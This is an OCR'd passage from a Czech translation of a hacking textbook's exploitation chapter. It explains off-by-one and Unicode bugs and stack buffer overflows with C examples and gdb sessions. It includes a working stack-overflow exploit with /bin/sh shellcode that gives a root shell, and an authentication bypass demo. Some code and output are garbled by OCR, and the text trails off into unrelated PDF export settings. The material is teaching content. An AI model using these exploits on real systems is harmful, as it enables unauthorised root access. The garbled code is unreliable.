0x300

EXPLOITACE

Hlavni potravou hackera je exploitovani. Jak jsme si predvedli v kapitole 2, program tvori slozZi-
ta sada pravidel. Poté nasleduje jisty vykonavaci tok, ktery nakonec pocitaci rika, co ma udélat.
Exploitovani programu je prosté rafinovany zptusob, jak pocitac pfinutit, aby délal to, co chcete

vV

vy, a to dokonce i tehdy, pokud pravé bézici program byl navrzen tak, aby tomu zabranil.

Protoze program mtize opravdu délat pouze to, pro co byl navrzen, aby délal, diry v zabezpeceni
jsou ve skute¢nosti nedostatky nebo prehlédnuti v ndvrhu programu, nebo v prostiedi, kde pro-
gram bézi. Chcete-li takové bezpecnostni diry nalézat, nebo jim predchazet, je zapottebi, abys-
te uvazovali kreativné. Ackoliv tyto diry jsou nékdy dusledkem relativné ocividnych programa-
technik, a ty se daji aplikovat leckde a lecjak. Program umi délat pouze a pfesné to, co je v ném
naprogramovano, a to doslova. Bohuzel, to, co je napsano, se ne vzdy shoduje s tim, co programa-
tor zamyslel, aby program délal. Da se to vysvétlit timto kouzelnym vtipem:

Muz se prochdzi po lese a najednou uvidi na zemi lampu. Instinktivné ji zvedne, vypucuje
rukdvem a z kouzelné lampy vyskoci dZin. Podékuje muzi, Ze ho vysvobodil a jako vyraz dikii

vros vy7s

nabidne, Ze mu splni t¥i prani. MuzZ je vzruseny na nejvyssi miru, protoze presné vi, co chce.
"Nejdriv,"” tika muz, "chci miliardu dolari.”
Dzin luskne prsty a ejhle, z nicehoz nic stoji pred nim kufr plny penéz.
Muz kouli o¢i nadsenim a pokracuje: "Ted chci Ferrari.”
Dzin opét luskne prsty a z oblaku koute vyjede Ferrari.
Muz pokracuje: "A jesté chci byt neodolatelny pro Zeny."
Dzin luskne prsty a muz se preméni na bonboniéru.
Stejné jako bylo posledni prani splnéno podle toho, co muz fekl, nikoliv podle toho, co zamyslel,

presné stejné provadi své instrukce program. Z tohoto dtivodu vysledky nemuseji odpovidat tomu,
¢eho chtél programator dosdhnout svymi instrukcemi. Dopady mohou byt nékdy katastrofalni.
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Programatoti jsou pouze lidé a to, co napiSou, obcas neni presné to, co zamysleli. Napriklad - jedné
hodné bézné programatorské chybé se fikd "o jednicku vedle" (oft-by-one). Jak uz jeji nazev na-
povida, je to chyba, kdy se programator splete o jednicku. Stavd se to ¢astéji, nez si mozna myslite,
a dobfe se to da predvést na nasledujici otazce. Potfebujete postavit plot, mate pletivo v délce 30 m
a jednotlivé kiily maji byt od sebe tfi metry. Kolik kilt budete celkem potfebovat? Zbrkld intuitivni
odpovéd je ze 10, ale to je $patné, protoze ve skute¢nosti jich pottebujete 11. Tento typ chyby se vy-
skytuje tehdy, kdyZ programator misto poctu kald, pricli Zebtiku atd. vezme pocet mezer mezi nimi
(nebo naopak). Dal$im typickym prikladem je situace, kdy programator vybird rozpéti ¢isel nebo
prvku ke zpracovani, jako tteba od N do M. Jestlize N =5 a M = 17, kolik prvki se ma zpracovat?
Intuitivni odpovéd vas opét miize svést na scesti: M minus N, neboli 17 minus 5, tedy 12. Ale zase
je to $patné, protoze prvkd je ve skute¢nosti M minus N plus 1, tedy 13. Intuice v téchto situacich
radi $patné, protoze jsou v rozporu s o¢ekdvanim. A tohle pravé je pti¢inou, pro¢ takové trivialni
chyby stale vznikaji.

Chyby tohoto druhu se ¢asto prehlédnou, protoze se netestuji plné vSechny moznosti, které mo-
hou v programu nastat, a protoZe pti normalnim vykonavani programu se uc¢inek téchto chyb ob-
vykle neprojevi. Jakmile se oviem pocitacovy program stale vice krmi vstupnimi daty, dfive nebo
pozdéji néjaky konkrétni vstup zptisobi, ze se projevi efekt této chyby. Jejim disledkem miize byt

dominovy efekt na celou logiku programu. Kdyz se chyba "o jednic¢ku vedle" fadné exploituje, mtze
se zdanlivé bezpe¢ny program stat né¢im tplné opaénym - bezpe¢nostni zranitelnosti.

Klasickym prikladem této situace je OpenSSH, coz ptivodné méla byt bezpe¢na terminalova ko-
munikaéni sada programt navrzena tak, aby nahradila nezabezpecené a nesifrované sluzby jako
jsou telnet, rsh a rcp. V kédu pro alokaci kanalu ovSem byla chyba "o jedni¢ku vedle", kterd se pak
intenzivné exploitovala. Konkrétné — kod obsahoval prikaz if v tomto tvaru:

if (id < @ || id > channels_alloc) {
Mél ovSem mit nasledujici tvar:
if (id < 0 || id >= channels_alloc) {

V bézné mluvené feci prvni kdd znamend: pokud je ID mensi nez 0, nebo je ID vétsi nez pocet
alokovanych kanald, vykonej to, co je uvedeno déle, zatimco ten druhy, spravny, znamend: pokud

je ID mensinez 0, nebo je ID véts$i nebo rovno poctu alokovanych kanald, vykonej to, co je uvedeno
dale.

Tahle drobna chybicka "o jedni¢ku vedle" umoznila nasledné exploitovani programu, takze nor-
malni uzivatel, ktery se autentizoval a ptihldsil, mohl ziskat Uplnd administratorskd opravnéni
k systému. Takovou funkcionalitu urcité programatoti nezamysleli, kdyz chystali ndvrh takového
bezpeéného programu, jako je OpenSSH. Po¢ita¢ holt umi tupé délat pouze to, co se mu fekne.

Dalsi situace, o které se zd4, ze plodi programatorské chyby, nastéva tehdy, kdyZz program musi pod
tlakem rychle modifikovat, aby se rozsitila jeho funkcionalita. Program pak bude lépe prodejny

a bude se moci i zvednout jeho prodejni cena, ovem na druhou stranu bude slozitéjsi, pfi¢emz
se zvySuje pravdépodobnost, ze se néco prehlédne. Webovy server IIS spole¢nosti Microsoft byl
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navrzen tak, aby uzivatelim poskytoval staticky a interaktivni obsah. Aby néco takového mohl
délat, musi tento program povolit uzivateltim ¢ist, zapisovat a spoustét programy a soubory v jis-
tych adresarich; tato funkcionalita musi byt omezena vyhradné na tyto konkrétni adresare. Pokud
by toto omezeni neexistovalo, uzivatelé by méli dplnou kontrolu nad systémem, coz je z bezpec-
nostniho hlediska silné nezadouci. Aby program mohl takové situaci zabranit, ma v sobé kod pro
kontrolu cest, ktery je navrzen tak, Ze uzivatelim zamezuje pouzivat znak obracené lomitko, takze
nemohou putovat zpét po stromu adresarti a dostat se do jinych adresaru.

S ptichodem podpory znakové sady Unicode ov§em nartista sloZitost programt. Unicode je dvou-
bajtovd znakova sada, ktera byla navrzena tak, aby podporovala znaky ze v§ech moznych jazyka,
véetné ¢indtiny a arabstiny. Kdyz se pro znak pouzivaji dva bajty (ne pouze jeden), najednou mame
moznost zakddovat desetitisice znakl, nikoliv pouze néco pres dvé stovky, kdyz pouzivime jediny
bajt. Tato pfidana slozitost mimo jiné znamena, ze znak obracené lomitko je mozné zakddovat
nékolika rtiznymi zptisoby. Napiiklad %5c se v Unicode prelozi na obracené lomitko, oviem az
poté, co probéhne kontrola cest. Pokud tedy nékdo misto \ pouzil %5c, opravdu mohl putovat po
adresarich, ¢imz vznikala jiz vy$e zminovana bezpecnostni rizika. Na zdklad¢ tohoto drobného
prehlédnuti v konverzi znakii Unicode mohli ¢ervi Sadmind a CodeRed napadat webové stranky.

Jako dalsi obdobna ukazka principu, kdy se tupé dodrzuje doslovné znéni zakona na tkor litery
zdkona, mize poslouzit ptipad nazvany "LaMacchia Loophole". Stejné jako pocitacovy program,
ma i pravni systém Spojenych statl tu a tam pravidla, ktera nefikaji zcela presné to, co jejich tvir-
ci mysleli, a podobné jako pocita¢ovy program typu exploit, i mezera v zakoné (loophole) se da
pouzit k tomu, aby se takovy zdkon obesel. Koncem roku 1993 David LaMacchia, jednadvaceti-
lety pocitacovy hacker a student MIT, zvefejnil adresu své BBS (Bulletin Board System) s ndzvem
Cynosure, ktera byla vytvorena pro potfeby softwarového piratstvi. Kdo nabizel néjaky software,
mohl ho tam nahrat; kdo néjaky software shanél, mohl si jej z tohoto mista stahnout. Ackoliv tato
sluzba byla v provozu pouze 6 tydnd, natolik zatizila celosvétovy sitovy provoz, ze nakonec pritdh-
la pozornost univerzity a federalnich uradi. Softwarové spolecnosti prohlasily, ze kviili Cynosure
ptisly o milién dolart, a velka federalni porota obvinila LaMacchiu, Ze spolu s jinymi neznamymi
osobami spachal wire fraud, neboli komunikac¢ni zlo¢in (coz je v USA piesné definovany pravnic-
ky termin, viz http://en.wikipedia.org/wiki/Wire_fraud). Obvinéni ov§em bylo nakonec
staZeno, protoze se zjistilo, Ze to, co LaMacchia tidajné spachal, neznamenalo, Ze by doslo k po-
ruseni copyrightu (copyright infringement), protoze z distribuce softwaru nemél zddny komeréni
prospéch a ani osobni finan¢ni profit. Je evidentni, Ze tviirci zdkont viibec nepredpokladali, ze by
se mohl vyskytnout nékdo, kdo by se angazoval v téchto aktivitach, a mél by jiny motiv nez na nich
vydélat. (V roce 1997 Kongres toto opomenuti v zakoné opravil schvilenim zdkona No Electronic
Theft Act.)

Prestoze se tento priklad netykal exploitace néjakého pocitacového programu, Ize soudce a porotu
chépat jako pocitace vykonavajici program pravniho systému tak, jak byl napsan. Mtzeme tedy
tici, Ze abstraktni pojmy z oblasti hackingu presahuji svét pocitact a daji se aplikovat na mnohé
jiné aspekty bézného Zivota, ktery je plny slozitych systémii.
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0x310 Vseobecné exploitacni techniky

Chyby "o jednic¢ku vedle" a nepatii¢né rozsitovani Unicode patti mezi trapné omyly, které se nékdy
stavaji, ovSem programator jasné a zfetelné vidi, jak by se mohly exploitovat, pokud je v programu
nechal. Existuji ovSem i jiné bézné chyby, které se daji exploitovat zdaleka méné oc¢ividnym zptiso-
bem, nez tomu bylo v pfedchozich situacich. Dopad téchto omyltl na bezpe¢nost neni vzdy uplné
zfejmy, ale problémy s bezpecnosti se v kodu daji najit témér vsude. Protoze stejny druh omylt se
déla na mnoha ritiznych mistech, vyvinuly se v§eobecné exploita¢ni techniky, aby se dalo 1épe tézit
ze stejnych omyld vyskytujicich se v mnoha rozmanitych situacich.

Vétsina exploita¢nich programi (fika se jim exploity) ma néco spole¢ného s narusenim paméti.
Sem patfi jak bézné exploita¢ni techniky, jako je naptiklad preteceni bufferu, tak i méné bézné
metody, naptiklad exploitace formétovaciho fetézce. Findlnim cilem téchto technik je prevzit kon-
trolu nad vykonavanim toku programu. To se déla tak, Ze program bude néjakym trikem donucen,
aby vykonal tsek zakefného kodu, ktery byl propasovan do paméti. Tomuto druhu hackerského
napadeni se fikd vykondani svévolného kodu (execution of arbitrary code), protoze program bude
délat ne to, co ma, ale to, co si usmyslel hacker. Podobné jako v kauze Davida LaMacchia existuji
zranitelnd mista proto, Ze jsou to konkrétni neoc¢ekévané pripady, které program neumi nebo opo-
mnél zpracovat. Za normalnich okolnosti tyto neoc¢ekévané pripady zptisobi, Ze program zhava-
ruje - jinak feceno, ztrati vladu nad fizenim. Jestlize ovéem mame propracovanou kontrolu nad
prostfedim, miizeme také mit kontrolu nad tokem vykonavani. To znamena, Ze zabranime havarii
a dany postup pieprogramujeme ke svému uzitku.

0x320 Preteceni paméti

Ackoliv zranitelnosti zalozené na preteceni bufferu existuji jiz od polatku pocitacové éry, v sou-
Casnosti se porad vyskytuji. Vétsina internetovych ¢ervi se rozmnozuje diky zranitelnostem, které
vznikaji po preteceni bufferu. A dokonce i nejnovéjsi zranitelnost jazyka VML v Internet Explore-
ru, kterd byla pojmenovana jako Zero-Day, je zptsobena prete¢enim bufferu.

C je sice vysokouroviovy jazyk, nicméné predpoklada, Ze za integritu dat je zodpovédny progra-
mator. Kdyby se tato zodpovédnost prenesla na kompildtor, vysledné binarni kody by byly vy-
znamné pomalejsi, protoze u kazdé proménné by se musely provadét testy integrity. Tohle by pro
programatora znamenalo zna¢nou ztratu Grovné kontroly nad kédem, pticemz by se zkomplikoval
i samotny programovaci jazyk.

Prestoze jednoduchost jazyka C zvysuje jak Groven kontroly programatora nad kodem, tak i efek-
tivnost vyslednych programt, mutize rovnéz vést k tomu, ze pokud neni programator dostate¢né
peclivy, programy budou zranitelnéjsi, pokud jde o preteceni bufferu nebo tzv. uniky paméti (me-
mory leaks). To znamenad, Ze jakmile ma proménnd pridélenou pamét, neexistuji uz zddna zabudo-
vana bezpec¢nostni opatfeni, ktera by zajistovala, Ze obsah proménné se musi vejit do alokované pa-
méti. Pokud chce programator vlozit deset bajtti dat do bufferu, ktery ma alokovanych pouze osm
bajtt, bude takova akce povolena, i kdyz bude pravdépodobné znamenat, ze program zhavaruje.
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Této situaci se fika prete¢eni bufferu (buffer overrun ¢i buffer overflow), protoze ty dva bajty navic
pretecou pres alokovanou pamét a prepi$ou to, co se nachazi dale, at uz je to cokoliv. Pokud se pre-
pisou kriticky dtilezita data, program zhavaruje. Ukazku poskytuje kod over flow_example.c.

overflow_example.c

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
int value = 5;
char buffer_one[8], buffer_two[8];

strcpy(buffer_one, "one"); /* Da "one" do buffer_one. */
strcpy(buffer_two, "two"); /* Da "two" do buffer_two. */

printf("[BEFORE] buffer_two is at %p and

contains \'%s\'\n", buffer_two, buffer_two);
printf("[BEFORE] buffer_one is at %p and

contains \'%s\'\n", buffer_one, buffer_one);
printf("[BEFORE] value is at %p and is %d (0x%08x)\n",

&value, value, value);

printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv([1l]));
strcpy(buffer_two, argv[1l]); /* Zkopiruje prvni argument do buffer_two. */

printf (" [AFTER] buffer_two is at %p and contains \'%s\'\n",
buffer_two, buffer_two);
printf (" [AFTER] buffer_one is at %p and contains \'%s\'\n",
buffer_one, buffer_one);
printf (" [AFTER] value is at %p and is %d (0x%08x)\n", &value,
value, value);

}

S momentalnimi znalostmi byste méli byt schopni precist vy$e uvedeny zdrojovy kod a zjistit, co
program déla. Po kompilaci se ve vystupu nize pokousime zkopirovat deset bajtii z prvniho argu-
mentu prikazového fadku do bufferu buffer_two, ktery ma alokovanych pouze osm bajta.

reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890

[BEFORE] buffer_two is at Oxbffff7f0 and contains 'two'

[BEFORE] buffer_one 1is at Oxbffff7f8 and contains 'one'

[BEFORE] value is at Oxbffff804 and is 5 (O0x00000005)
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[STRCPY] copying 10 bytes into buffer_two

[AFTER] buffer_two is at Oxbffff7f@ and contains '1234567890'
[AFTER] buffer_one is at Oxbffff7f8 and contains '90'

[AFTER] value is at Oxbffff804 and is 5 (Ox00000005)
reader@hacking:~/booksrc $

Povsimnéte si, ze buffer_one je v paméti umistén tésné za buffer_two, takze kdyz se zkopiruje
deset bajtti do buffer_two, pfete¢ou posledni dva bajty 90 do buffer_one a prepisou to, co se tam
nachazelo.

Rozsahlejsi buffer pochopitelné pretece i do dal$ich proménnych. A pokud se pouzije dostate¢né
velky buffer, viz nasledujici ukazka, program zhavaruje a skona.

reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at Oxbffff7e® and contains 'two'

[BEFORE] buffer_one is at Oxbffff7e8 and contains 'one'

[BEFORE] value is at Oxbffff7f4 and is 5 (0x00000005)

[STRCPY] copying 29 bytes into buffer_two

[AFTER] buffer_two is at Oxbffff7e® and contains
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

[AFTER] buffer_one is at Oxbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA'
[AFTER] value is at Oxbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault

reader@hacking:~/booksrc $

Tento druh havérie programu je dost béZny — vzpomerite si na véechny situace, kdy vam spadl né-
jaky program, nebo kdy jste uvidéli modrou obrazovku. V tomto ptipadé se programator dopustil
drobného opomenuti - chybi zde néjaka kontrola na délku, nebo néjaké omezeni pro vstup od
uzivatele. Ackoliv takova opominuti vznikaji pomérné snadno, naptiklad z tinavy, byva obtiznéjsi
je poté odhalit. A vskutku — program notesearch.c z kapitoly 0x200 obsahuje chybu tykajici se
preteceni bufferu. A¢koliv se v C vyznate docela dobre, pravdépodobné jste ji viibec neodhalili.

reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

——————— [ end of note data ]-------

Segmentation fault

reader@hacking:~/booksrc $

Havdrie programu jsou otravné, ale v rukach hackera se mohou stat vylozené nebezpe¢nymi. Kdyz
program havaruje, mize nad nim prevzit kontrolu erudovany hacker, coz mize mit nékdy i dost
prekvapivé nasledky. Nebezpeci tohoto druhu predvadi program exploit_notesearch.c.
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exploit_notesearch.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char shellcode[]=
"\Xx31\xcO\x31\xdb\x31\xc9\x99\xbO\xad4\xcd\x80\x6a\xOb\x58\x51\x68"
"\Xx2FAX2F\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xel\xcd\x80";

int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;

char *command, *buffer;

command = (char *) malloc(200);

bzero(command, 200); // Vynuluje novou pamét’.
strcpy(command, "./notesearch \'"); // Zacatek bufferu prfikazu.
buffer = command + strlen(command) ; // Nastavi buffer na konec.

if(argc > 1) // Nastavi offset.
offset = atoi(argv[l]);

ret = (unsigned int) &i - offset; // Nastavi navratovou adresu.

for(i=0; i < 160; i+=4) // Naplni buffer navratovou adresou.
*((unsigned int *)(buffer+i)) = ret;

memset (buffer, 0x90, 60); // Vybuduje sled NOP.

memcpy (buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");

system(command) ; // Spusti exploit.
free(command) ;

}

Zdrojovy kdd tohoto exploitu vysvétlim podrobné pozdéji. Vseobecné jde o to, Ze se vygeneruje
fetézec prikazu, kterym se pak spusti program notesearch s argumentem prikazového radku v apo-
strofech. Déla se to prostfednictvim dvou nasledujicich fetézcovych funkci - strien() ziska aktu-
alni délku fetézce, aby se posunul ukazatel bufferu a strcat () prida na konec ptikazu uzavirajici
apostrof. Prostfednictvim systémové funkce se poté vykona fetézec prikazu. Zakladem exploitu je
buffer, ktery se vygeneruje mezi apostrofy. Zbytek je pouze metoda, jak dorucit tuto datovou pilul-
ku s jedem. Sledujte, co se miize stat pti fizené havarii programu.
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reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out

[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
------- [ end of note data ]-------

Exploit je na zakladé¢ preteceni schopen obsluhovat shell roota, coz znamena, ze ma Gplnou kontro-
lu nad pocitacem. Jedna se o exploit, ktery tézi z prete¢eni bufferu zaloZeného na zasobniku.

0x321  Zranitelnostizpiisobené
pretecenim bufferu zaloZzeného na zdsobniku

Exploit aplikovany na program notesearch funguje tak, Ze narusi pamét, aby mohl prevzit kontrolu
nad tokem vykondvani. Tento princip ndzorné predvadi program auth_overflow.c

auth_overflow.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];

strcpy(password_buffer, password);

if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;

if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;

return auth_flag;

int main(int argc, char *argv[]) {

if(argec < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);

}

if(check_authentication(argv[1l])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n") ;
printf(" Access Granted.\n"); // PFistup udélen
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prjnt'f(”_:_:_:_:_:_:_:_:_:_:_:_:_:_\n") ;
} else {
printf("\nAccess Denied.\n"); // PFfistup odmitnut

}

Tento ukazkovy programek prvné prebird heslo jako sviij jediny argument ptikazového radku. Poté
zavola funkci check_authentication(), ktera povoluje dvé hesla. Pokud se zada jedno ze dvou
konkrétnich hesel, funkce vrati 1, coz vyjadifuje, Zze byl k né¢emu udélen pristup. Nahlédnéte do
zdrojového kddu - tohle vSechno by vam mélo byt jasné jesté predtim, nez date kod zkompilovat,
Pti kompilaci uvedte prepinac -g, protoze kdd se bude pozdéji ladit.

reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c
reader@hacking:~/booksrc $ ./auth_overflow

Usage: ./auth_overflow <password>

reader@hacking:~/booksrc $ ./auth_overflow test

Access Denied.
reader@hacking:~/booksrc $ ./auth_overflow brillig

reader@hacking:~/booksrc $

Az sem to $lo dobte, vSechno funguje tak, jak ma. To se ostatné ocekava od néceho tak determi-
nistického jako je pocitatovy program. Preteceni miize ale vést na neocekavané, nebo dokonce
neslucitelné chovani - pfistup bude umoznén i v ptipadé, kdy nebylo zadédno spravné heslo.

reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

reader@hacking:~/booksrc $

Ackoliv jste uz moznad prisli na to, co se vlastné déje, podivejte se i pfesto na celou zélezitost debug-
gerem, abyste si ujasnili specifika této situace.

reader@hacking:~/booksrc $ gdb -q ./auth_overflow
Using host libthread_db library "/1ib/tls/i686/cmov/1libthread _db.so.1".
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(gdb) list 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int auth_flag = 0;

1
2
3
4
5 int check_authentication(char *password) {
6
7 char password_buffer[16];

8

9

strcpy(password_buffer, password);

10

(gdb)

11 if(strcmp(password_buffer, "brillig") == 0)
12 auth flag = 1;

13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;

15

16 return auth_flag;

17 3}

18

19 dint main(int argc, char *argv[]) {

20 if(argc < 2) {

(gdb) break 9

Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.
(gdb) break 16

Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
(gdb)

Debugger GDB jsme spustili s volbou -q, abychom potlacili uvitaci zdhlavi. Body preruseni byly
nastaveny pro fadky 9 a 16, takze jakmile se program spusti, bude na nich pozastaveno vykonavani
programu a my dostaneme $anci prozkoumat pamét.

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA
Breakpoint 1, check authentication (password=0xbffff9af 'A’
<repeats 30 times>) at
auth_overflow.c:9

9 strcpy (password_buffer, password);
(gdb) x/s password_buffer
Oxbffff7a0: ")??22?20?222222)\205\004\b?0??p???2?2?2?2?2"

(gdb) x/x &auth_flag
Oxbffff7bc: Ox00000000
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$1 = 28

(gdb) x/16xw password_buffer

Oxbffff7a0: Oxb7f9f729 Oxb7fd6ff4 Oxbffff7d8 0x08048529
Oxbffff7b0: Oxb7fd6ff4 Oxbffff870 Oxbffff7d8 0x00000000
OXbffff7¢cO: Oxb7ff47b0 0x08048510 Oxbffff7d8 0x080484bb
Oxbffff7d0: Oxbffff9af 0x08048510 Oxbffff838 Oxb7eafebc
(gdb)

Prvni bod preruseni je pred volanim strcpy (). Pokud prozkoumate ukazatel password_buffer,
debugger vam ukdze, ze je naplnén ndhodnymi neinicializovanymi daty, a Ze se nachazi v paméti
na adrese Oxbf fff7a0. Pokud prozkoumate adresu proménné auth_flag, uvidite, Ze je umisténa
na Oxbffff7bc, a Ze jeji hodnota je 0. P¥ikaz print muze byt pouzit pro vykondni aritmetické
operace a zobrazeni, ze auth_flag je 28 bajtli za zacitkem password_buffer. Tento vztah je také
mozné vydedukovat z bloku paméti (po¢inaje password_buffer).

(gdb) continue
Continuing.

Breakpoint 2, check_authentication (password=0xbffff9af 'A'
<repeats 30 times>) at
auth_overflow.c:16

16 return auth_flag;

(gdb) x/s password_buffer

Oxbffff7a0: '"A' <repeats 30 times>

(gdb) x/x &auth_flag

Oxbffff7bc: 0x00004141

(gdb) x/16xw password_buffer

Oxbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
OXbffff7¢cO: Oxb7ff47b0 0x08048510 Oxbffff7d8 0x080484bb
Oxbffff7do: Oxbffffoaf 0x08048510 Oxbffff838 Oxb7eafebc

(gdb) x/4cb &auth_flag

Oxbffff7bc: 65 'A'" 65 'A' 0 '\0' 0 '"\O'
(gdb) x/dw &auth_flag

Oxbffff7bc: 16705

(gdb)

Pokrac¢ujme k druhému bodu preruseni, ktery je za strcpy (), a opét prozkoumejme stejna mista
v paméti. Buffer password_buffer pretekl do the auth_f1lag, takze zménil prvni dva bajty na
0x41. Z hodnoty 0x00004141 by se mohlo zdét, Ze se nic nestalo, ale vzpomenite si, Ze platforma
x86 pouziva architekturu little-endian (tj. nejméné vyznamny bajt se uloZ{ jako prvni), takze se
predpoklddd, Ze se na né bude hledét takto. Pokud prozkoumdte vSechny ¢tyfi bajty jeden po dru-
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hém, presné uvidite, jak je pamét ve skute¢nosti rozlozena. Dtisledkem toho véeho je, ze program
bude tuto hodnotu povazovat za celé ¢islo s hodnotou 16 705.

(gdb) continue
Continuing.

Program exited with code 034.
(gdb)

Po preteceni funkce check_authentication() vrati hodnotu 16 705, nikoli 0. Protoze v pfikazu
if se povazuje za autentizovanou jakdkoliv nenulovd hodnota, ptejde tok vykondvani programu
do autentizované sekce. V tomto piikladu je fidicim bodem vykondvani proménna auth_flag,
protoze zdrojem fizeni byl ptepis této hodnoty.

Tohle byl ovéem velmi vyumélkovany priklad, ktery byl zavisly na rozvrzeni paméti proménnych.
V souboru auth_overflow2.c jsou proménné deklarovany v opaéném poradi. (Zmény viiéi sou-
boru auth_overflow.c jsou zvyraznény tu¢né.)

auth_overflow2.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;

strcpy(password_buffer, password);

if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;

if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;

return auth_flag;

int main(int argc, char *argv[]) {
if(argc < 2) {




<<
  /ASCII85EncodePages false
  /AllowTransparency false
  /AutoPositionEPSFiles true
  /AutoRotatePages /All
  /Binding /Left
  /CalGrayProfile (Dot Gain 20%)
  /CalRGBProfile (sRGB IEC61966-2.1)
  /CalCMYKProfile (U.S. Web Coated \050SWOP\051 v2)
  /sRGBProfile (sRGB IEC61966-2.1)
  /CannotEmbedFontPolicy /Warning
  /CompatibilityLevel 1.4
  /CompressObjects /Tags
  /CompressPages true
  /ConvertImagesToIndexed true
  /PassThroughJPEGImages true
  /CreateJDFFile false
  /CreateJobTicket false
  /DefaultRenderingIntent /Default
  /DetectBlends true
  /DetectCurves 0.0000
  /ColorConversionStrategy /LeaveColorUnchanged
  /DoThumbnails false
  /EmbedAllFonts true
  /EmbedOpenType false
  /ParseICCProfilesInComments true
  /EmbedJobOptions true
  /DSCReportingLevel 0
  /EmitDSCWarnings false
  /EndPage -1
  /ImageMemory 1048576
  /LockDistillerParams false
  /MaxSubsetPct 100
  /Optimize true
  /OPM 1
  /ParseDSCComments true
  /ParseDSCCommentsForDocInfo true
  /PreserveCopyPage true
  /PreserveDICMYKValues true
  /PreserveEPSInfo true
  /PreserveFlatness true
  /PreserveHalftoneInfo false
  /PreserveOPIComments false
  /PreserveOverprintSettings true
  /StartPage 1
  /SubsetFonts true
  /TransferFunctionInfo /Apply
  /UCRandBGInfo /Preserve
  /UsePrologue false
  /ColorSettingsFile ()
  /AlwaysEmbed [ true
  ]
  /NeverEmbed [ true
  ]
  /AntiAliasColorImages false
  /CropColorImages true
  /ColorImageMinResolution 300
  /ColorImageMinResolutionPolicy /OK
  /DownsampleColorImages true
  /ColorImageDownsampleType /Bicubic
  /ColorImageResolution 300
  /ColorImageDepth -1
  /ColorImageMinDownsampleDepth 1
  /ColorImageDownsampleThreshold 1.50000
  /EncodeColorImages false
  /ColorImageFilter /DCTEncode
  /AutoFilterColorImages true
  /ColorImageAutoFilterStrategy /JPEG
  /ColorACSImageDict <<
    /QFactor 0.15
    /HSamples [1 1 1 1] /VSamples [1 1 1 1]
  >>
  /ColorImageDict <<
    /QFactor 0.15
    /HSamples [1 1 1 1] /VSamples [1 1 1 1]
  >>
  /JPEG2000ColorACSImageDict <<
    /TileWidth 256
    /TileHeight 256
    /Quality 30
  >>
  /JPEG2000ColorImageDict <<
    /TileWidth 256
    /TileHeight 256
    /Quality 30
  >>
  /AntiAliasGrayImages false
  /CropGrayImages true
  /GrayImageMinResolution 300
  /GrayImageMinResolutionPolicy /OK
  /DownsampleGrayImages true
  /GrayImageDownsampleType /Bicubic
  /GrayImageResolution 300
  /GrayImageDepth -1
  /GrayImageMinDownsampleDepth 2
  /GrayImageDownsampleThreshold 1.50000
  /EncodeGrayImages false
  /GrayImageFilter /DCTEncode
  /AutoFilterGrayImages true
  /GrayImageAutoFilterStrategy /JPEG
  /GrayACSImageDict <<
    /QFactor 0.15
    /HSamples [1 1 1 1] /VSamples [1 1 1 1]
  >>
  /GrayImageDict <<
    /QFactor 0.15
    /HSamples [1 1 1 1] /VSamples [1 1 1 1]
  >>
  /JPEG2000GrayACSImageDict <<
    /TileWidth 256
    /TileHeight 256
    /Quality 30
  >>
  /JPEG2000GrayImageDict <<
    /TileWidth 256
    /TileHeight 256
    /Quality 30
  >>
  /AntiAliasMonoImages false
  /CropMonoImages true
  /MonoImageMinResolution 1200
  /MonoImageMinResolutionPolicy /OK
  /DownsampleMonoImages true
  /MonoImageDownsampleType /Bicubic
  /MonoImageResolution 1200
  /MonoImageDepth -1
  /MonoImageDownsampleThreshold 1.50000
  /EncodeMonoImages false
  /MonoImageFilter /CCITTFaxEncode
  /MonoImageDict <<
    /K -1
  >>
  /AllowPSXObjects false
  /CheckCompliance [
    /None
  ]
  /PDFX1aCheck false
  /PDFX3Check false
  /PDFXCompliantPDFOnly false
  /PDFXNoTrimBoxError true
  /PDFXTrimBoxToMediaBoxOffset [
    0.00000
    0.00000
    0.00000
    0.00000
  ]
